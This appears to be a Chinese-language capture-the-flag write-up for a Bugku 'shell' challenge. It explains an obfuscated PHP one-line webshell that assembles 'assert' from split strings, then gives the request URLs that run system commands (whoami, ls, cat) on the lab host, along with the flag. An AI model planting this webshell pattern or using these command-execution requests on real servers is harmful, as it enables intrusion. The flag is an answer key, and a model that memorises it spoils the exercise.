题目描述
题目截图如下:
描述:
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
进入场景看看:是一个空白的界面
解题思路
- 代码审计
相关工具
- 无
解题步骤
- 审计提示中的代码
$poc = "a#s#s#e#r#t"; # 定义了一个名为POC的变量
$poc_1 = explode("#", $poc); # 使用了PHP中的ecplode函数,作用是按照指定的分割符#对变量字符串进行分割,分割后是一个数组
$poc_2 = $poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; # 将分割后的数组内容进行拼接,显然是一个单词assert
$poc_2($_GET['s'])# 将拼接后的字符串 $poc_2 作为函数名,也就是assert()函数
# $_GET[] 表示使用的是get请求,传入一个名为s的参数,然后将这个参数值作为assert函数的内容
- 得到初步的POC:
http://114.67.175.224:17986/?s=
然后简单测试一下system函数进行输出:
http://114.67.175.224:17986/?s=system(%22whoami%22)
执行成功,然后就是找flag,怎么知道flag在哪里呢?当然是先遍历一下,也就是ls:
http://114.67.175.224:17986/?s=system(ls)
发现2个文件,其中一个直接显示flag的txt文件,那就是它了,如何显示这个文件的内容呢?直接访问就可以啦
http://114.67.175.224:17986/flaga15808abee46a1d5.txt
也可以直接使用cat命令访问:
http://114.67.175.224:17986/?s=system(%22cat%20flaga15808abee46a1d5.txt%22)
除此外,还可以使用
得到Flag
flag{dcad944287da8b741c17bcf4263149e8}
新知识点
- PHP explode() 函数
- assert()函数:直接将传入的参数当成PHP代码直接执行
参考链接
- php assert执行命令,php中代码执行&&命令执行函数
- Bugku-CTF-shell-过狗一句话
有用的话,请
点赞收藏评论
,帮助更多的同学哦